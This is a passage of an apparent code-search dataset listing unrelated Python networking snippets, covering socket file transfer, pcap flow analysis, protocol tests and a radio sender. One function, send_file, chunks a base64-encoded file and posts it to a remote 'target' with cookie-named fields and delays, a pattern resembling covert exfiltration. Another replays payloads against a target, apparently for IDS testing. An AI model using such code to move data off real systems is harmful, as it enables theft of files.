6B 10 49 02 03 08 09 0A 0B FF\",\n ]\n\n for n in range(len(test_case) - 1):\n sub_test = list(test_case)\n del sub_test[n]\n\n r = p(sub_test)\n assert len(r) == 0","def connectionHandler(con, addr):\n\t#get filename\n\tmsg = con.recv(260) #260 bytes is the max file length, TODO: add try\n\tmsg = pickle.loads(msg)\n\t\n\t#look for file sent by message\n\tsize = 0\n\ttry:\n\t\t#print(\"Looking for: \" + LOCAL_SHARED_FILE_SPACE + \"\\\\\" + msg)\n\t\tsize = os.path.getsize(globals.LOCAL_SHARED_FILE_SPACE + \"\\\\\" + msg)\n\texcept Exception as err:\n\t\tprint(\"- Peer Server: client asked for nonexisting file\")\n\t\tcon.send(pickle.dumps(0))\n\t\tcon.close()\n\t\treturn 0\n\t\n\t#do a con.send for the file\n\tcon.send(pickle.dumps(str(size))) # TODO: add try\n\twith open(globals.LOCAL_SHARED_FILE_SPACE + \"\\\\\" + msg, 'rb') as file:\n\t\tcontent = file.read(1024)\n\t\twhile content:\n\t\t\tcon.send(content)\n\t\t\t#con.send(pickle.dumps(content))\n\t\t\tcontent = file.read(1024)\n\t\t\t\n\t#file is sent, close connection\n\tcon.shutdown(socket.SHUT_WR)\n\tcon.close()\n\treturn 0","def main(udp_server_socket):\n shared.logger.debug(\"Starting the processor main loop.\")\n while(True):\n bytesAddressPair = udp_server_socket.recvfrom(1024)\n\n \"\"\"this is the actual message\"\"\"\n message = bytesAddressPair[0]\n\n \"\"\"source IP addressed, ignored for now\"\"\"\n address = bytesAddressPair[1]\n\n shared.logger.debug(\"Received \" + str(message) + \"from \" + str(address))\n\n \"\"\"\n First, make sure the udp payload is a valid json string.\n If it is, valid_json is set to True and message contains the JSON object.\n \n We do it in one shot since we are much more likely to get valid JSON than not.\n If not, valid_json is set to False and message is an empty string ''.\n \"\"\"\n valid_json_bool, current_client_message = validators.validate_json(message)\n\n \"\"\"only validate the schema if the message is a valid json\"\"\"\n if (valid_json_bool):\n \"\"\"OK, so it is JSON. Let's make sure it is semantically valid\"\"\"\n if (validators.validate_json_schema(current_client_message)):\n shared.logger.debug(\"Valid schema detected!\")\n else:\n shared.logger.error(\"Failed schema validation, skipping.\")\n continue # go to the beginning of the while loop\n else:\n shared.logger.error(\"Could not serialize payload to JSON, skipping.\")\n continue # go to the beginning of the while loop\n \n \"\"\"print the received message for debugging purposes\"\"\"\n shared.logger.debug(current_client_message)\n \n \"\"\"\n Publish the data to blynk.\n NOTE: we don't know the correct virtual pin, we'll look it up later\n \"\"\"\n send_value_to_blynk(current_client_message)","def recv_packets(port, n_packets, payload_len, output_file):\n\n sock_in = socket.socket(socket.AF_INET, socket.SOCK_DGRAM,\n socket.IPPROTO_UDP)\n sock_in.bind(('', port))\n logger.debug('Client bind port %d' % port)\n sock_in.settimeout(600) # MARK: 10 mins\n\n rev_packets = []\n try:\n while len(rev_packets) < n_packets:\n packet = sock_in.recv(payload_len)\n recv_time_stmp = time.time()\n # Strip fulling bytes\n payload = packet.rstrip(b'a')\n (packet_n, send_time_stmp) = pickle.loads(payload)\n latency_us = (recv_time_stmp - send_time_stmp) * 1e6\n rev_packets.append((packet_n, latency_us))\n except socket.timeout:\n logger.error(\"Error: Timed out waiting to receive packets\")\n logger.info(\"So far had received %d packets\" % len(rev_packets))\n\n logger.info(\"Received %d/%d packets back from server\" % (len(rev_packets),\n n_packets))\n\n sock_in.close()\n # Save latency in a csv file\n with open(output_file, 'w') as out_file:\n # out_file.write(\"%d\\n\" % n_packets)\n for tup in rev_packets:\n packet_n = tup[0]\n latency = \"%.2f\" % tup[1]\n out_file.write(\"%s,%s\\n\" % (packet_n, latency))","def SendPacketsFlags(self) -> TransmitFileOptions:","def message_test_case(message_list, expected_results, info_string):\n global passed_count, failed_count\n\n print(\"\\n\\nTEST: {}\".format(info_string))\n print(\"\\nMessage sequence: {}\".format(message_list))\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.connect((HOST, PORT))\n\n for message in message_list:\n sock.send(message)\n\n for expected in expected_results:\n response = sock.recv(4) # standard length of each message\n if response != expected:\n print(\"\\n\\tResult: FAILED.\")\n print(\"Expected server response {}, received {}.\".format(\n expected, response))\n failed_count += 1\n return\n\n print(\"\\n\\tResult: PASSED.\\n\")\n passed_count += 1"],"string":"[\n \"def read_and_store_pcap(file_name):\\r\\n file = open(file_name, \\\"rb\\\")\\r\\n global_header = file.read(24).hex()\\r\\n byte = file.read(16)\\r\\n packets = []\\r\\n bytes = []\\r\\n sizes = []\\r\\n while byte:\\r\\n packet_header = byte.hex()\\r\\n # parse the size for each packet\\r\\n size = struct.unpack(\\\"<L\\\", codecs.decode(str(packet_header[16:24]), \\\"hex\\\"))[0]\\r\\n sizes.append(size)\\r\\n # read the whole packet by its size from the bytes\\r\\n byte = file.read(size).hex()\\r\\n bytes.append(byte)\\r\\n byte = file.read(16)\\r\\n for size in sizes:\\r\\n packets.append(([size], [], []))\\r\\n i = 0\\r\\n\\r\\n for pkt in bytes:\\r\\n packets = handle_pkt_header(pkt, packets, i)\\r\\n packets, start_point = handle_ip_header(pkt, packets, i)\\r\\n protocol = packets[i][1][7]\\r\\n if protocol == 1:\\r\\n packets = handle_icmp(pkt, packets, i, start_point)\\r\\n elif protocol == 6:\\r\\n packets = handle_tcp(pkt, packets, i, start_point)\\r\\n elif protocol == 17:\\r\\n packets = handle_udp(pkt, packets, i, start_point)\\r\\n i += 1\\r\\n # print(packets)\\r\\n return packets\",\n \"def test():\\n with open('univ1_pt8.pcap', 'rb') as f: #univ1_trace/univ1_pt8\\n pcap = Reader(f)\\n print_packets(pcap)\\n # top_flows()\\n host_pairs()\",\n \"def print_packets(pcap):\\n\\n # For each packet in the pcap process the contents\\n for timestamp, buf, hdr_len in pcap:\\n \\n # Unpack the Ethernet frame (mac src/dst, ethertype)\\n eth = dpkt.ethernet.Ethernet(buf)\\n # print('Ethernet Frame: ', mac_addr(eth.src), mac_addr(eth.dst), eth.type)\\n\\n # Make sure the Ethernet data contains an IP packet\\n if not isinstance(eth.data, dpkt.ip.IP):\\n # print('Non IP Packet type not supported %s\\\\n' % eth.data.__class__.__name__)\\n continue\\n\\n # Now unpack the data within the Ethernet frame (the IP packet)\\n # Pulling out src, dst, length, fragment info, TTL, and Protocol\\n ip = eth.data\\n\\n # Pull out fragment information (flags and offset all packed into off field, so use bitmasks)\\n # do_not_fragment = bool(ip.off & dpkt.ip.IP_DF)\\n # more_fragments = bool(ip.off & dpkt.ip.IP_MF)\\n # fragment_offset = ip.off & dpkt.ip.IP_OFFMASK\\n\\n # Print out the info\\n # print('IP: %s -> %s (len=%d ttl=%d DF=%d MF=%d offset=%d)\\\\n' % \\\\\\n # (inet_to_str(ip.src), inet_to_str(ip.dst), ip.len, ip.ttl, do_not_fragment, more_fragments, fragment_offset)) \\n\\n pkt = Packet(timestamp, buf, hdr_len)\\n\\n if ip.p == dpkt.ip.IP_PROTO_TCP or ip.p == dpkt.ip.IP_PROTO_UDP: \\n # all flow\\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\\n if flow not in all_flows:\\n all_flows[flow] = [pkt]\\n else:\\n x = len(all_flows[flow]) - 1\\n if x < 0:\\n all_flows[flow].append(pkt)\\n else:\\n if time_diff(all_flows[flow][x].timestamp, timestamp) <= 5400: #90mins\\n all_flows[flow].append(pkt)\\n\\n if ip.p == dpkt.ip.IP_PROTO_TCP: \\n # TCP flow\\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\\n if flow not in tcp_flows:\\n tcp_flows[flow] = [pkt]\\n else:\\n x = len(tcp_flows[flow]) - 1\\n if x < 0:\\n tcp_flows[flow].append(pkt)\\n else:\\n if time_diff(tcp_flows[flow][x].timestamp, timestamp) <= 5400:\\n tcp_flows[flow].append(pkt)\\n all_host_pairs(pkt, ip)\\n elif ip.p == dpkt.ip.IP_PROTO_UDP:\\n # UDP flow\\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\\n if flow not in udp_flows:\\n udp_flows[flow] = [pkt]\\n else:\\n x = len(udp_flows[flow]) - 1\\n if x < 0:\\n udp_flows[flow].append(pkt)\\n else:\\n if time_diff(udp_flows[flow][x].timestamp, timestamp) <= 5400:\\n udp_flows[flow].append(pkt)\\n else:\\n continue\\n\\n print(\\\"Number of All flows: %d | Number of TCP flows: %d | Number of UDP flows: %d\\\" % (len(all_flows), len(tcp_flows), len(udp_flows)))\\n\\n # -- Flow Duration\\n for f in all_flows:\\n size = len(all_flows[f])\\n if size >= 2:\\n all_flow_dur.append(time_diff(all_flows[f][0].timestamp, all_flows[f][size-1].timestamp))\\n \\n for f in tcp_flows:\\n size = len(tcp_flows[f])\\n if size >= 2:\\n tcp_flow_dur.append(time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp))\\n \\n for f in udp_flows:\\n size = len(udp_flows[f])\\n if size >= 2:\\n udp_flow_dur.append(time_diff(udp_flows[f][0].timestamp, udp_flows[f][size-1].timestamp))\\n\\n print \\\"lens: \\\", len(all_flow_dur), len(tcp_flow_dur), len(udp_flow_dur)\\n\\n # -- Flow Size\\n for f in all_flows:\\n f_bytes = 0\\n size = len(all_flows[f])\\n all_flow_size_pkt.append(size)\\n for p in all_flows[f]:\\n f_bytes += p.length\\n all_flow_size_byte.append(f_bytes)\\n \\n for f in tcp_flows:\\n f_bytes = 0\\n f_overhead = 0\\n size = len(tcp_flows[f])\\n tcp_flow_size_pkt.append(size)\\n for p in tcp_flows[f]:\\n f_bytes += p.length\\n f_overhead += 18 + 20 #+ tcp_hdr\\n tcp_flow_size_byte.append(f_bytes)\\n if f_bytes == 0:\\n f_bytes = 9999\\n tcp_flow_size_overhead.append(f_overhead/float(f_bytes))\\n \\n for f in udp_flows:\\n f_bytes = 0\\n size = len(udp_flows[f])\\n udp_flow_size_pkt.append(size)\\n for p in udp_flows[f]:\\n f_bytes += p.length\\n udp_flow_size_byte.append(f_bytes)\\n\\n # -- Inter-packet Arrival time\\n for f in all_flows:\\n for i in range(len(all_flows[f])-1):\\n all_flow_time.append(time_diff(all_flows[f][i].timestamp, all_flows[f][i+1].timestamp))\\n\\n for f in tcp_flows:\\n for i in range(len(tcp_flows[f])-1):\\n tcp_flow_time.append(time_diff(tcp_flows[f][i].timestamp, tcp_flows[f][i+1].timestamp))\\n\\n for f in udp_flows:\\n for i in range(len(udp_flows[f])-1):\\n udp_flow_time.append(time_diff(udp_flows[f][i].timestamp, udp_flows[f][i+1].timestamp))\\n\\n # -- TCP State\\n for f in tcp_flows:\\n size = len(tcp_flows[f])\\n last_pkt = tcp_flows[f][size-1]\\n tcp = dpkt.ethernet.Ethernet(last_pkt.buf).data.data\\n \\n if (tcp.flags & dpkt.tcp.TH_SYN) != 0:\\n f.state = 'Request'\\n elif (tcp.flags & dpkt.tcp.TH_RST) != 0:\\n f.state = 'Reset'\\n elif (tcp.flags & dpkt.tcp.TH_FIN) != 0 and (tcp.flags & dpkt.tcp.TH_ACK) != 0:\\n f.state = 'Finished'\\n elif time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp) <= 300:\\n f.state = 'Ongoing'\\n elif time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp) > 300 \\\\\\n and (tcp.flags & dpkt.tcp.TH_RST) == 0 and (tcp.flags & dpkt.tcp.TH_FIN) == 0:\\n f.state = 'Failed'\\n\\n show_cdf_graphs()\",\n \"def test_send_too_many_bytes(self):\\n self.client_socket.sendto(b'12345678901234567890', CONTROL_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(6)\\n #self.assertEquals(address, CONTROL_SOCKET_FILE)\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 7)\",\n \"def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05):\\n\\ttry:\\n\\t\\t# Load file\\n\\t\\tfh = open(file_path, READ_BINARY)\\n\\t\\tiAmFile = fh.read()\\n\\t\\tfh.close()\\n\\texcept:\\n\\t\\tsys.stderr.write(\\\"Error reading file!\\\\n\\\")\\n\\t\\traise ()\\n\\n\\t# Split file to chunks by size:\\n\\tchunks = []\\n\\tIamDone = \\\"\\\"\\n\\n\\tIamDone = base64.b64encode(iAmFile) # Base64 Encode for ASCII\\n\\tchecksum = zlib.crc32(IamDone) # Calculate CRC32 for later verification\\n\\tchunks = [IamDone[i:i + max_packet_size] for i in range(0, len(IamDone), max_packet_size)] # Split into chunks\\n\\thead, tail = os.path.split(file_path) # Get filename\\n\\n\\t# Initial packet:\\n\\ttry:\\n\\t\\tinit_payload = tail + COOKIE_DELIMITER + str(checksum) + COOKIE_DELIMITER + str(len(chunks))\\n\\t\\tpayload = {INIT_PACKET_COOKIE: init_payload}\\n\\t\\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\\n\\t\\tsys.stdout.write(\\\"[+] Sent initiation package. Total of %s chunks.\\\\n\\\" % (len(chunks) + 2))\\n\\t\\tsys.stdout.write(\\\".\\\")\\n\\t\\ttime.sleep(time_delay)\\n\\texcept:\\n\\t\\tsys.stderr.write(\\\"Unable to reach target with error:\\\\n\\\")\\n\\t\\tsys.exit(1)\\n\\n\\t# Send data\\n\\tcurrent_chunk = 0\\n\\tfor chunk in chunks:\\n\\t\\tpayload = {PACKET_COOKIE + str(current_chunk): chunk}\\n\\t\\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\\n\\t\\tcurrent_chunk += 1\\n\\t\\tsys.stdout.write(\\\".\\\")\\n\\t\\ttime.sleep(time_delay)\\n\\tsys.stdout.write(\\\".\\\\n\\\")\\n\\n\\t# Termination packet\\n\\tdata = DATA_END + str(current_chunk)\\n\\tpayload = {TERMINATION_COOKIE: data}\\n\\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\\n\\tsys.stdout.write(\\\"[+] Sent termination packets and total of %s packets.\\\\n\\\" % current_chunk)\\n\\n\\treturn 0\",\n \"def send(s_inPort, s_outPort, c_inPort, filename):\\n totalSentPacks = 0\\n \\n #build senders sockets\\n sockIn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n sockIn.bind((IP, s_inPort))\\n sockOut = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n sockOut.bind((IP, s_outPort))\\n \\n #sets up where to send\\n sockOut.connect((IP, c_inPort))\\n \\n #exits program if file does not exist\\n if not os.path.isfile(filename):\\n sockIn.close()\\n sockOut.close() \\n sys.exit()\\n \\n nexti = 0\\n exitFLAG = False\\n \\n #opens file and starts a loop that reads 512 bytes and\\n #trys to send it via the sockets\\n file = open(filename, \\\"rb\\\") \\n while exitFLAG == False:\\n data = file.read(512)\\n if sys.getsizeof(data) <= 33:\\n fmt = PACFOMAT.format(size=len(data))\\n packet = struct.pack(fmt, MAGICNO, \\n DATATYPE, nexti, 0,\\n b'')\\n exitFLAG = True\\n \\n else:\\n fmt = PACFOMAT.format(size=len(data))\\n packet = struct.pack(fmt, MAGICNO, \\n DATATYPE, nexti, \\n sys.getsizeof(data),\\n data)\\n \\n #starts an inner loop that listens for the acknowledgement\\n #packet and re-transmits if no acknowledgement is recieved \\n inner_exitFLAG = False\\n sentPacCount = 0\\n while inner_exitFLAG == False:\\n sockOut.send(packet)\\n sentPacCount += 1\\n totalSentPacks += 1\\n readable, _, _ = select.select([sockIn], [], [], 1)\\n if readable:\\n newpac, address = sockIn.recvfrom(1024)\\n fmt = PACFOMAT.format(size=len(newpac)-HDR_LEN)\\n mno, typ, seq, dal, ans = struct.unpack(fmt, newpac)\\n if mno != MAGICNO:\\n continue\\n elif typ != ACKTYPE:\\n continue\\n elif dal > 33:\\n continue\\n elif seq != nexti:\\n continue\\n else:\\n nexti = 1 - nexti\\n inner_exitFLAG = True\\n else:\\n if exitFLAG == True and sentPacCount == 4:\\n print(str(sentPacCount),\\n \\\"packets sent and no response,stopping program\\\")\\n break \\n else:\\n continue\\n print(totalSentPacks)\\n sockIn.close()\\n sockOut.close() \\n file.close()\\n sys.exit()\",\n \"def test_large_import(self):\\n # the original file (from the IDD) is a previous version of the file from\\n # the data server for the gp03flmb platform\\n self.create_sample_data_set_dir('node59p1_orig.dat', TELEM_DIR, 'node59p1.dat')\\n self.assert_initialize()\\n # one bad sample in here:\\n # PH1236501_01D5u51F361E0_EC_162E has non ascii bytes at the end and is missing \\\\r\\n result = self.data_subscribers.get_samples(DataParticleType.CONTROL, 1, 60)\\n result = self.data_subscribers.get_samples(DataParticleType.SAMPLE, 49, 100)\\n\\n # this file is the more recent file off the data server for gp03flmb/d00001\\n # this file appends more data to that in node59p1_orig\\n self.create_sample_data_set_dir('node59p1.dat', TELEM_DIR)\\n # several bad samples in here:\\n # PH1236501_01D5u521208B4_A1_D274 doesn't have enough bytes (469 not 470)\\n # PH1236501_01D5u52461BDC_CF_55BD doesn't have enough bytes (469 not 470)\\n # PH1236501_01D5u5266BCF1_DA_6466 doesn't have enough bytes (469 not 470)\\n # PH1236501_01DAu5288AF85_C9_7365, PH1236501_01DAu529E1BDF_42_4835\\n # have extra bytes after the sample, not an error anymore\\n # PH1236501_01D5u52B090DA_BA_8CC1 doesn't have enough bytes (469 not 470)\\n # PH1236501_01DAu52B38839_BB_4134, PH1236501_01DAu52C8F493_34_3FC2\\n # PH1236501_01DAu52ECE16B_79_F727, PH1236501_01DAu53024DC6_F2_7EC9 \\n # have extra bytes after sample, not an error anymore\\n result = self.data_subscribers.get_samples(DataParticleType.SAMPLE, 751, 430)\",\n \"def process_pcap(pcap):\\n\\n print \\\"Processing\\\", pcap\\n pcap_path, _ = os.path.splitext(pcap)\\n # strip_payload_from_pcap(pcap)\\n os.system(\\\"tshark -nn -T fields -E separator=/t -e frame.time_epoch\\\"\\n \\\" -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport\\\"\\n \\\" -e ip.proto -e ip.len -e ip.hdr_len -e tcp.hdr_len -e data.len\\\"\\n \\\" -e tcp.flags -e tcp.options.timestamp.tsval\\\"\\n \\\" -e tcp.options.timestamp.tsecr -e tcp.seq -e tcp.ack\\\"\\n \\\" -e tcp.window_size_value -e expert.message \\\"\\n \\\" -r %s > %s.tshark\\\" % (pcap, pcap_path))\\n # tcpdump command from Panchenko's raw-to-tcp script\\n os.system(\\\"\\\"\\\"tcpdump -r {0} -n -l -tt -q -v | sed -e 's/^[ ]*//' |\\n awk '/length ([0-9][0-9]*)/{{printf \\\"%s \\\",$0;next}}{{print}}' > {1}\\\"\\\"\\\".\\\\\\n format(pcap, pcap_path + '.tcpdump'))\",\n \"def open_service_loop(self):\\n\\t\\n\\tprint \\\"Attempting to receive file\\\", self.file_read, \\\"from\\\", self.ip, \\\"at port\\\", self.port, \\\".\\\" \\n\\trecv_data = None\\n\\tnum_retransmits = 0\\n\\t#Start timer, retransmit after each timeout of one second. If receive response within the timer, move on to next step. \\n\\t#Limit number of retransmits to 60 so as not to enter infinite loop.\\n\\twhile(num_retransmits < 60):\\n\\t num_retransmits += 1\\n\\t self.send_open_request()\\n\\n\\t input_socket = [self.client_socket]\\n\\t inputready,outputready,exceptready = select.select(input_socket,[],[], 1)\\n\\t #if timer expires without input becoming ready, empty list is returned. So go to next iteration of loop (retransmit)\\n\\t if (inputready == []):\\n\\t\\tcontinue\\n\\t else:\\n\\t\\ttry:\\n\\t\\t recv_data = self.client_socket.recv(self.buffer_)\\n\\t\\texcept Exception as exception_:\\n\\t\\t print(\\\"Wrong port number or IP address provided, or server is not available at the moment.\\\")\\n\\t\\t sys.exit()\\n\\t\\tprint(\\\"Received a packet.\\\")\\n\\t\\t\\n\\t\\t#Generate a random number between 0 and 1 with uniform distribution to simulate packet loss.\\n\\t\\tif (random.uniform(0,1) < self.p):\\n\\t\\t recv_data = None\\n\\t\\t print(\\\"Packet dropped randomly to simulate packet losses\\\")\\n\\t\\t continue\\n\\t\\t\\n\\t\\tbit_signature = recv_data[0:4]\\n\\t\\tresponse_type = recv_data[4:8]\\n\\t\\trecv_payload = recv_data[8:]\\n\\n\\t\\t#Check that bit signature is valid (packet is from our network)\\n\\t\\tif bit_signature != \\\"\\\\x00\\\\x00\\\\x00\\\\r\\\": \\n\\t\\t recv_invalid_response(recv_data, \\\"bit_signature\\\")\\n\\t\\t continue\\n\\t\\telse:\\n\\t\\t #We have only ever sent a open_request, so the only viable response at this point is an open_response. \\n\\t\\t #If this field contains anything else, it is an invalid packet. Retransmit request.\\n\\t\\t if response_type != \\\"\\\\x00\\\\x00\\\\x00\\\\x08\\\": \\n\\t\\t\\tself.recv_invalid_response(recv_data, \\\"response_type\\\")\\n\\t\\t\\tcontinue\\t\\t\\n\\t\\t else:\\n\\t\\t\\t#Bit signature and response type fields are both valid.\\n\\t\\t\\tprint(\\\"Received open response from server...\\\")\\n\\t\\t\\tself.recv_open_response(recv_payload)\\n\\t\\t\\tbreak\\n\\t\\n\\tif (num_retransmits >= 60):\\n\\t print (\\\"Exceeded number of retransmissions allowed. Exiting program.\\\")\\n\\t sys.exit()\\t\\n\\treturn\",\n \"def test_send_positive():\\n\\n # Generate the blocks for the test file\\n test_file = os.path.join(os.path.dirname(__file__),\\n \\\"../test_files/isaac-martin-61d2hT57MAE-unsplash.jpg\\\")\\n blocks = generate_blocks(test_file, '0')\\n # Collect all blocks into a single binary file using pickle\\n blocks_pickled = pickle.dumps(blocks)\\n # Send the collected blocks in a single transfer to the test server\\n response = client.post(\\\"/send\\\",\\n files={\\\"file\\\": blocks_pickled})\\n assert response.ok\\n assert response.json() \\\\\\n == {\\\"success\\\": True,\\n \\\"new_file\\\": True,\\n \\\"hash\\\": \\\"45f293033312d42815155e871f37b56b4de9b925c07d4a5f6262320c1627db12\\\",\\n \\\"index_all\\\": 5285}\",\n \"def parse_packets(pcap):\\n # For each packet in the pcap process the contents\\n flow_Info = []\\n times = 0\\n for timestamp, buf in pcap:\\n times += 1\\n tmp_flow_Info = {}\\n\\n # Unpack the Ethernet frame (mac src/dst, ethertype)\\n eth = dpkt.ethernet.Ethernet(buf)\\n # Unpack the data whthin the Ethernet frame (the IP packet)\\n ip = eth.data\\n\\n # if protocol(ip.p) is not UDP(17) ,skip this packet\\n if ip.p != 17:\\n continue\\n\\n udp = ip.data\\n # Temp_data = parse_data(eth.data.udp.data)\\n # Filter CoAP by port\\n if(udp.sport != 5683 or udp.dport != 5683):\\n continue\\n\\n str_udp_data = parse_data(eth.data.udp.data)\\n # skip packets of Non_confirmable\\n if str_udp_data[0] == '5': \\n continue\\n\\n cycle = 0\\n index = 0\\n Udp_data = []\\n \\n len_str_udp_data = len(str_udp_data)\\n while cycle < (len_str_udp_data//3+1):\\n # Udp_data.append(int('0x'+Str_Udp_data[index:index + 2], 16))\\n Udp_data.append(int('0x' + str_udp_data[index:index + 2], 16))\\n cycle += 1\\n index += 3\\n tmp_flow_Info['udp_data'] = (Udp_data)\\n\\n # confirmable or ack\\n tmp_flow_Info['Coap_type'] = str_udp_data[0]\\n #print(str_udp_data) \\n \\n # skip space and get \\\"Message ID\\\" \\n HexMide = str_udp_data[6:8] + str_udp_data[9:11]\\n tmp_flow_Info['Mid'] = int('0x'+HexMide, 16)\\n\\n tmp_flow_Info['Timestamp'] = str(datetime.datetime.fromtimestamp(timestamp))\\n # print('Ethernet Frame: ', mac_addr(eth.src), mac_addr(eth.dst), eth.type)\\n tmp_flow_Info['src'] = inet_to_str(ip.src)\\n tmp_flow_Info['dst'] = inet_to_str(ip.dst)\\n\\n tmp_flow_Info['sport'] = udp.sport\\n tmp_flow_Info['dport'] = udp.dport\\n flow_Info.append(tmp_flow_Info)\\n\\n return flow_Info\",\n \"def genPackets(l: list):\\n check(len(l), lambda x: x== 9, \\\"Wrong number of given arguments for genPackets(l), must be 9\\\")\\n req = randomSubBuilder(l[0], l[1], l[2], l[3], l[4], l[5])\\n res = regularResponse(req, l[0], l[6], l[7], l[8])\\n return [req, res]\",\n \"def main():\\n\\n radio = initialize_radios(0, 25, 0x60)\\n\\n radio.openWritingPipe(pipes[1])\\n radio.openReadingPipe(0, pipes[0])\\n\\n print(\\\"Sender Information\\\")\\n radio.printDetails()\\n\\n payload_list = read_file(sys.argv[1])\\n\\n count = 0\\n while count < len(payload_list):\\n # send a packet to receiver\\n acknowledged = False\\n while not acknowledged:\\n send_packet(radio, payload_list[count])\\n print(\\\"Sent payload number: \\\" + str(count))\\n\\n # Did we get an ACK back?\\n radio.startListening()\\n ack_or_timeout(radio)\\n \\n if radio.available(pipes[0]):\\n recv_buffer = []\\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\\n ack_received = bytes(recv_buffer)\\n print(\\\"ACK available\\\")\\n if ack_received == b'1GUTACK':\\n acknowledged = True\\n count = count + 1\\n radio.stopListening()\\n\\n while True:\\n print(\\\"Sending the FinalACK\\\")\\n time.sleep(1)\\n send_packet(radio, b'TH1SPR0GRAMSHOULDBEOVER9999999')\\n\\n # Did we get an ACK back?\\n radio.startListening()\\n ack_or_timeout(radio)\\n\\n if radio.available(pipes[0]):\\n recv_buffer = []\\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\\n received = bytes(recv_buffer)\\n if received == b'TH1SISTH3FINALACK':\\n break\\n radio.stopListening()\\n\\n print(\\\"File sent successfully\\\")\",\n \"def server(port):\\n \\\"\\\"\\\"Listen and receive a file, binding to the given port.\\\"\\\"\\\"\\n # Create a socket object specifying arguments to have UDP transport\\n # family-IPv4, type-UDP,gethostn protocol- default = 0\\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\\n \\n # Bind the socket object to your localhost and port\\n sock.bind((localhost, port))\\n\\n print ('Socket Initialized')\\n\\n while True:\\n packet = {\\n \\\"message\\\": \\\"\\\",\\n \\\"type\\\": \\\"\\\",\\n \\\"checksum\\\": 0,\\n \\\"seq\\\": 0\\n }\\n\\n # Receive the message, decode the message and load them as json objects into data \\n message, address = sock.recvfrom(MAX_NUM_OF_BYTES)\\t\\n message= message.decode('ascii', 'ignore')\\t\\n data = json.loads(message)\\n # Check if the type is FIN, print then quit.\\n if data[\\\"type\\\"].startswith(\\\"FIN\\\"):\\n #packet[\\\"type\\\"]=\\\"FIN\\\"\\n #packet[\\\"message\\\"]=\\\"\\\"\\n #packet[\\\"seq\\\"]=0\\t\\n print (\\\"Final message!\\\")\\n break\\n\\n else:\\n \\n #check the checksum, create the packet\\n if sum(ord(char) for char in data[\\\"message\\\"]) == data[\\\"checksum\\\"]:\\n #prepare the packet\\n packet[\\\"type\\\"]= \\\"ACK\\\"\\n packet[\\\"seq\\\"]= data[\\\"seq\\\"]+1\\n print (data[\\\"message\\\"])\\n else:\\n \\n #resend the packet\\n packet[\\\"type\\\"]= \\\"ACK\\\"\\n packet[\\\"seq\\\"]=data[\\\"seq\\\"]\\n print(data[\\\"message\\\"])\\n \\n #send to the client\\n data =json.dumps(packet)\\n sock.sendto(data.encode('ascii','ignore'), address)\\n\\n # Close the socket\\n sock.close()\",\n \"def mock_api_stage_success_control() -> List[bytes]:\\n return create_standard_packets_list(DUMMY_CONTROL_RESPONSE)\",\n \"def test_get_invalid(self):\\n self.client_socket.sendto(b'i', CONTROL_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(6)\\n #self.assertEquals(address, CONTROL_SOCKET_FILE)\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 7)\",\n \"def doTest(self, module, payloads):\\n for payload in payloads:\\n # Perform test & write report\\n str = \\\"TEST #%s - %s\\\" % (self.testnum, payload[0])\\n print str[:62].ljust(65,'.'),\\n #test_dt_start = datetime.datetime.now()\\n test_dt_start = time.strftime('%Y-%m-%d %H:%M:%S')\\n pattern = \\\"\\\"\\n\\n if payload[1] == \\\"socket\\\":\\n cmd = self.commandParser('socket', payload[4])\\n (test_port, test_proto) = (payload[2], payload[3].lower())\\n test_payload = cmd\\n if payload[3].lower() == 'tcp':\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n else:\\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n s.connect((self._target,payload[2]))\\n s.send(cmd)\\n pattern = payload[5]\\n s.close()\\n elif payload[1] == \\\"command\\\":\\n cmd = self.commandParser('command', payload[2])\\n (test_port, test_proto) = (None, None)\\n test_payload = ' '.join(cmd)\\n if self._debug==1:\\n print \\\"\\\\n\\\\n***Debug: sending command: %s\\\" % ' '.join(cmd)\\n subprocess.call(cmd)\\n else:\\n subprocess.call(cmd, stdout=subprocess.PIPE)\\n pattern = payload[3]\\n elif payload[1] == \\\"scapy\\\":\\n cmd = self.commandParser('scapy', payload[2])\\n if self._debug == 1:\\n print \\\"\\\\n\\\\n***Debug: sending scapy payload: %s\\\" % cmd\\n cmd = cmd.replace('verbose=0', 'verbose=1')\\n (test_port, test_proto) = (None, None)\\n test_payload = cmd\\n eval(cmd)\\n pattern = payload[3]\\n elif payload[1] == \\\"pcap\\\":\\n pcap = os.path.join(self.config.get('PATHS', 'pcapdir'), payload[2])\\n (test_port, test_proto) = (None, None)\\n test_payload = pcap\\n if self._debug == 1:\\n # verbose mode\\n print \\\"Pcap Replay file\\\"\\n cmd = [self.config.get('ENV','sudo'), self.config.get('ENV','tcpreplay'), '-i', self.config.get('CLIENT','iface'), pcap]\\n else:\\n # quiet mode\\n cmd = [self.config.get('ENV','sudo'), self.config.get('ENV','tcpreplay'), '-q', '-i', self.config.get('CLIENT','iface'), pcap]\\n if self._debug==1:\\n subprocess.call(cmd)\\n else:\\n subprocess.call(cmd, stdout=subprocess.PIPE)\\n pattern = payload[3]\\n\\n test_dt_end = time.strftime('%Y-%m-%d %H:%M:%S')\\n\\n # Sleep before getting 